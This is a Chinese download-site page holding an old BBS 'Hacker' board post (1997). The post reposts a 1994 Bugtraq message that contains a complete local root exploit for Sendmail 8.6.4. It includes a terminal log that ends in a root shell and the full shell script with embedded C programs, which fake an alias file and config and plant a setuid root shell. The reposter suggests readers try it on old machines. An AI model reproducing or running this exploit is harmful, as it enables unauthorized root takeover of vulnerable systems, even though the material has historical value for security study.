⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 network-sendmail-bug.html

📁 学习linux的工具书
💻 HTML
字号:
<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
   <meta name="Author" content="Edward Fu">
   <meta name="GENERATOR" content="Mozilla/4.05 [zh-CN] (X11; I; Linux 2.1.127 i686) [Netscape]">
   <title>Freesoft Linux FAQ -- 关于sendmail老版本的一个安全漏洞</title>
</head>
<body>
发信人: yuhj (勇?戒痴·戒躁·戒网),
信区: Hacker
<br>标&nbsp; 题: Sendmail 8.6.4-Obtain a root shell
<br>发信站: BBS 水木清华站 (Fri Jul 11 08:21:09 1997)
<br>&nbsp;
<br>Send mail的问题不是“一个”问题,而是因为它的特殊位置,很多版本
<br>都会有Bug。不是说哪一个bug,而是,哪个版本有哪个bug。以下是我从
<br>http://shadowchill.com/随便抄来的一篇文章,想来已经很旧了,(我们现在
<br>用的是8.8.7 beta2)但也许哪个老机器还在用这个版本,可以试试。
<br>&nbsp;
<br>**************************************************************************
<br>&nbsp;&nbsp; HACK: Sendmail 8.6.4: Program and script to obtain a root
shell
<br>&nbsp;System: Unix
<br>&nbsp;Source: james abendchan (jwa@naucse.cse.nau.edu) from Bugtraq
<br>**************************************************************************
<br>&nbsp;
<br>What follows is a sample run exercising the latest sendmail hole and
the
<br>script used to exploit this hole.&nbsp; This is a re-send; I neglected
<br>to escape the "." in the sendmail script, leaving the program
<br>slightly truncated.&nbsp; To fix this, I have escaped the . so prior
<br>to executing this you must remove the \.&nbsp; (does that make any
sense? :-)
<br>There was also a small problem with nested quotes pointed out by Peter
<br>Wemm which I have fixed.
<br>&nbsp;
<br>This is the "small version" of the script; it assumes you have a sane
<br>sendmail.cf.&nbsp; In this manner, it is not a particularly robust
"breakin
<br>script" but I believe it does illustrate how to exploit the bug.
<br>&nbsp;
<br>This program uses "calc.c," the program mentioned by Timothy Newsham
in
<br>an earlier message.&nbsp; The program has been modified slightly so
that it
<br>gives better results (it would occasionally fail to locate the offset
of
<br>a config given a buggy sendmail.&nbsp; The fix is to force a sync()
after
<br>it generates a coredump.)&nbsp; The remainder of the program was written
<br>by myself and a fellow student, Steven Dake.
<br>&nbsp;
<br>We have held off on releasing this script until we were able to notify
<br>the people responsible for system security at NAU.&nbsp; Locals subscribing
<br>to this digest beware; sendmail on our machines has been patched! :-)
<br>&nbsp;
<br>Script started on Thu Mar 24 00:54:54 1994
<br>[pine] [1] date
<br>Thu Mar 24 00:54:57 MST 1994
<br>[pine] [2] whoami
<br>jwa
<br>[pine] [3] id
<br>uid=4473(jwa) gid=400(student)
<br>[pine] [4] ls -l sendbug.sh
<br>-rwx------&nbsp;&nbsp; 1 jwa&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; student&nbsp;&nbsp;&nbsp;&nbsp;
4893 Mar 24 00:46 sendbug.sh*
<br>[pine] [5] sendbug.sh
<br>Creating setid0 ...
<br>Creating calc...
<br>Scanning core image for /nau/local/lib/mail/sendmail.cf...
<br>Creating alias.sh ...
<br>Creating fake alias file...
<br>Faking alias pointer in new config file...
<br>Creating the sendmail script...
<br>Executing /usr/lib/sendmail -
<br>d4294935548.47,4294935549.116,4294935550.109,4294935551.112,4294935552.47,4294935553.115,429
<br>4935554.109,4294935555.46,4294935556.9
<br>Version 8.6.4
<br>220-pine.cse.nau.edu Sendmail 8.6.4/WHOOP-v1.0 ready at Thu, 24 Mar
1994 00:55:21 -0700
<br>220 ESMTP spoken here
<br>250 pine.cse.nau.edu Hello jwa@localhost, pleased to meet you
<br>250 &lt;nobody>... Sender ok
<br>250 &lt;yash>... Recipient ok
<br>354 Enter mail, end with "." on a line by itself
<br>250 AAA01803 Message accepted for delivery
<br>503 Need MAIL before RCPT
<br>503 Need MAIL command
<br>500 Command unrecognized
<br>500 Command unrecognized
<br>221 pine.cse.nau.edu closing connection
<br>setid0 is a suid shell.&nbsp; executing...
<br>executing /bin/csh...
<br>pine# whoami
<br>root
<br>pine# id
<br>uid=0(root) gid=0(root)
<br>pine# exit
<br>pine# end of script.
<br>&nbsp;
<br>.. and here's the program.
<br>&nbsp;
<br>#!/bin/sh
<br># exploit new sendmail bug to give us a root shell
<br># 24 mar 94&nbsp; jwa/scd @nau.edu
<br># "short version"
<br># tested on sunos 5.2/sendmail 8.6.4
<br>&nbsp;
<br># location of sendmail
<br>SENDMAIL=/usr/lib/sendmail
<br>&nbsp;
<br># location of original sendmail.cf file
<br>CONFIG=/nau/local/lib/mail/sendmail.cf
<br>#CONFIG=`strings $SENDMAIL | grep sendmail.cf`
<br>&nbsp;
<br># program to execute as root
<br>SHELL=/bin/csh
<br>&nbsp;
<br>TEMPDIR=/tmp/sendbug-tmp.$$
<br>mkdir $TEMPDIR
<br>chmod 700 $TEMPDIR
<br>cd $TEMPDIR
<br>&nbsp;
<br>cp $SENDMAIL sm
<br>chmod 700 sm
<br>&nbsp;
<br>echo "Creating setid0 ..."
<br>cat > setid.c &lt;&lt; _EOF_
<br>&nbsp;
<br>/* set uid to zero, thus escaping the annoying csh and solaris sh
<br>&nbsp;* problem..
<br>&nbsp;*
<br>&nbsp;* if (getuid() != geteuid()) {
<br>&nbsp;*&nbsp; printf("permission denied, you root-hacker you.\n");
<br>&nbsp;*&nbsp; exit(1);
<br>&nbsp;* }
<br>&nbsp;*
<br>&nbsp;* .. must be run euid 0, obviously.&nbsp; with no args it runs
/bin/sh,
<br>&nbsp;* otherwise it runs the 1st arg.
<br>&nbsp;*/
<br>&nbsp;
<br>#include &lt;stdio.h>
<br>&nbsp;
<br>main(argc, argv)
<br>int argc;
<br>char *argv[];
<br>&nbsp;
<br>&nbsp;int uid;
<br>&nbsp;
<br>&nbsp;setuid(0);
<br>&nbsp;setgid(0);
<br>&nbsp;seteuid(0);&nbsp; /* probabally redundant. */
<br>&nbsp;setegid(0);
<br>&nbsp;
<br>&nbsp;uid = getuid();
<br>&nbsp;
<br>&nbsp;if (uid != 0) {
<br>&nbsp; printf("setuid(0); failed!&nbsp; aborting..\n");
<br>&nbsp; exit(1);
<br>&nbsp;}
<br>&nbsp;
<br>&nbsp;if (argc !=2) {
<br>&nbsp; printf("executing /bin/sh...\n");
<br>&nbsp; system("/bin/sh");
<br>&nbsp;}
<br>&nbsp; else
<br>&nbsp;{
<br>&nbsp; printf("executing %s...\n", argv[1]);
<br>&nbsp; system(argv[1]);
<br>&nbsp;}
<br>&nbsp;
<br>_EOF_
<br>&nbsp;
<br>cc -o setid0 setid.c
<br>&nbsp;
<br>echo "Creating calc..."
<br>&nbsp;
<br>cat > calc.c &lt;&lt; _EOF_
<br>/*
<br>&nbsp;* Determines offset in sendmail of
<br>&nbsp;* sendmail.cf file location.
<br>&nbsp;* author: timothy newsham
<br>&nbsp;*/
<br>#include &lt;fcntl.h>
<br>&nbsp;
<br>gencore()
<br>&nbsp;
<br>&nbsp; int pid;
<br>&nbsp; int fd[2];
<br>&nbsp;
<br>&nbsp; if(pipe(fd) &lt; 0) {
<br>&nbsp;&nbsp;&nbsp; perror("pipe");
<br>&nbsp;&nbsp;&nbsp; exit(1);
<br>&nbsp;&nbsp;&nbsp; return(0);
<br>&nbsp; }
<br>&nbsp; pid = fork();
<br>&nbsp; if(!pid) {
<br>&nbsp;&nbsp;&nbsp; int f = open("./out", O_RDWR|O_CREAT, 0666);
<br>&nbsp;&nbsp;&nbsp; dup2(f, 1); dup2(fd[0], 0);
<br>&nbsp;&nbsp;&nbsp; close(f); close(fd[1]); close(fd[0]);
<br>&nbsp;&nbsp;&nbsp; execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0);
<br>&nbsp;&nbsp;&nbsp; perror("exec");
<br>&nbsp;&nbsp;&nbsp; exit(0);
<br>&nbsp; } else {
<br>&nbsp;&nbsp;&nbsp; sleep(2);
<br>&nbsp;&nbsp;&nbsp; kill(pid, 11);
<br>&nbsp; }
<br>&nbsp; close(fd[0]);
<br>&nbsp; close(fd[1]);
<br>&nbsp;
<br>&nbsp;
<br>main(argc,argv)
<br>char **argv;
<br>int argc;
<br>&nbsp;
<br>&nbsp; unsigned int ConfFile,tTdvect,off;
<br>&nbsp;
<br>&nbsp; gencore();
<br>&nbsp; sync();&nbsp;&nbsp; /* grr. */
<br>&nbsp; tTdvect = find("ZZZZZZZZ", "core");
<br>&nbsp; ConfFile = find(argv[1], "core");
<br>&nbsp; if(!tTdvect || !ConfFile) {
<br>&nbsp;&nbsp; return(1);
<br>&nbsp;
<br>&nbsp; }
<br>&nbsp; off = ConfFile - tTdvect;
<br>&nbsp;
<br>&nbsp; printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",
<br>&nbsp; off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5,
's', \
<br>&nbsp; off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10);
<br>&nbsp;
<br>&nbsp;
<br>int find(pattern, file)
<br>char *pattern,*file;
<br>&nbsp;
<br>&nbsp; int fd;
<br>&nbsp; int i, addr;
<br>&nbsp; char c;
<br>&nbsp;
<br>&nbsp; fd = open(file, 0);
<br>&nbsp;
<br>&nbsp; i = 0;
<br>&nbsp; addr = 0;
<br>&nbsp; while(read(fd, &amp;c, 1) == 1) {
<br>&nbsp;&nbsp;&nbsp; if(pattern[i] == c)
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i++;
<br>&nbsp;&nbsp;&nbsp; else
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i=0;
<br>&nbsp;&nbsp;&nbsp; if(pattern[i] == '\0') {
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; addr -= strlen(pattern);
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return(addr);
<br>&nbsp;&nbsp;&nbsp; }
<br>&nbsp;&nbsp;&nbsp; addr++;
<br>&nbsp; }
<br>&nbsp; return(0);
<br>&nbsp;
<br>_EOF_
<br>cc calc.c -o calc
<br>&nbsp;
<br>echo "Scanning core image for $CONFIG..."
<br>&nbsp;
<br>DEBUGFLAGS=`calc $CONFIG`
<br>&nbsp;
<br>echo "Creating alias.sh ..."
<br>echo "#!/bin/sh
<br># this program will be executed when mail is sent to the fake alias.
<br># since solaris sh and csh and tcsh refuse to run when euid != realuid,
<br># we instead run the program we compiled above.
<br>&nbsp;
<br>/bin/chmod 6777 $TEMPDIR/setid0
<br>/bin/chown root $TEMPDIR/setid0
<br>/bin/sync
<br>&nbsp;
<br>" > alias.sh
<br>&nbsp;
<br>chmod 755 alias.sh
<br>&nbsp;
<br>echo "Creating fake alias file..."
<br>echo "yash: |$TEMPDIR/alias.sh" > aliases
<br>&nbsp;
<br>echo "Faking alias pointer in new config file..."
<br>egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf
<br>echo "
<br># hacks follow
<br>&nbsp;
<br>OA/$TEMPDIR/aliases&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
# our fake alias file
<br>Ou0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
# user ID to run as
<br>Og0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
# group ID to run as
<br>DZWHOOP-v1.0" >> /tmp/sm.cf
<br>&nbsp;
<br>echo "Creating the sendmail script..."
<br>&nbsp;
<br>cat > sendmail.script &lt;&lt; _EOF_
<br>helo
<br>mail from: &lt;nobody>
<br>rcpt to: &lt;yash>
<br>data
<br>yet another sendmail hole?&nbsp; suid whoop?
<br>\.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
# oops.. delete \ prior to execution
<br>quit
<br>_EOF_
<br>&nbsp;
<br>echo "Executing $SENDMAIL $DEBUGFLAGS -bs..."
<br>&nbsp;
<br>$SENDMAIL $DEBUGFLAGS -bs &lt; sendmail.script
<br>&nbsp;
<br># give it time to execute.
<br>sleep 4
<br>&nbsp;
<br># cleanup in 5 seconds
<br>(sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) &amp;
<br>&nbsp;
<br>if [ -u setid0 ]
<br>then
<br>&nbsp;echo "setid0 is a suid shell.&nbsp; executing..."
<br>&nbsp;cd /
<br>&nbsp;$TEMPDIR/setid0 /bin/csh
<br>&nbsp;echo "end of script."
<br>&nbsp;exit 0
<br>else
<br>&nbsp;echo "setid0 is not suid; script failed."
<br>&nbsp;echo "apparently, you don't have the bug.&nbsp; celebrate :-)"
<br>&nbsp;exit 1
<br>fi
<br>&nbsp;
<br>--
<br>&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
因为那个时侯我还不太明白。
<br>&nbsp;
<br>※ 修改:·yuhj 於 Jul 11 08:23:27 修改本文·[FROM:&nbsp;&nbsp;&nbsp;&nbsp;
wpi.WPI.EDU]
<br>※ 修改:·yuhj 於 Jul 11 08:24:33 修改本文·[FROM:&nbsp;&nbsp;&nbsp;&nbsp;
wpi.WPI.EDU]
<br>※ 来源:·BBS 水木清华站 bbs.net.tsinghua.edu.cn·[FROM: wpi.WPI.EDU]
<br>&nbsp;
<br>&nbsp;
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -